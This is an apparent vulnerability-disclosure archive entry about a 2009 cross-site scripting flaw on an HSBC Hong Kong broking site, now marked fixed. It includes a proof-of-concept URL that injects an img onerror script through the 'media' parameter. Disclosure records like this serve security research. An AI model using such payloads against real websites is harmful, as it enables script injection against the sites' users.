Security researcher Hexspirit, has submitted on 30/05/2009 a cross-site-scripting (XSS) vulnerability affecting www.broking.hsbc.com.hk, which at the time of submission ranked 2856 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 30/05/2009. It is currently fixed. |
Date submitted: 30/05/2009 |
Date published: 30/05/2009 |
Date fixed: 24/06/2009 | Status: FIXED |
Author: Hexspirit |
Domain: www.broking.hsbc.com.hk |
Category: XSS |
Pagerank: 2856 |
URL: http://www.broking.hsbc.com.hk/script/tch/forms/cntusfm.asp?media=company%27%22%3E%3Cimg+src=%22%22+ onerror=%22write(%27%3Cb%3EHOHO%20XSSed%3C/b%3E%27);close();%22+/%3E |
Click here to view the mirror
|
|
|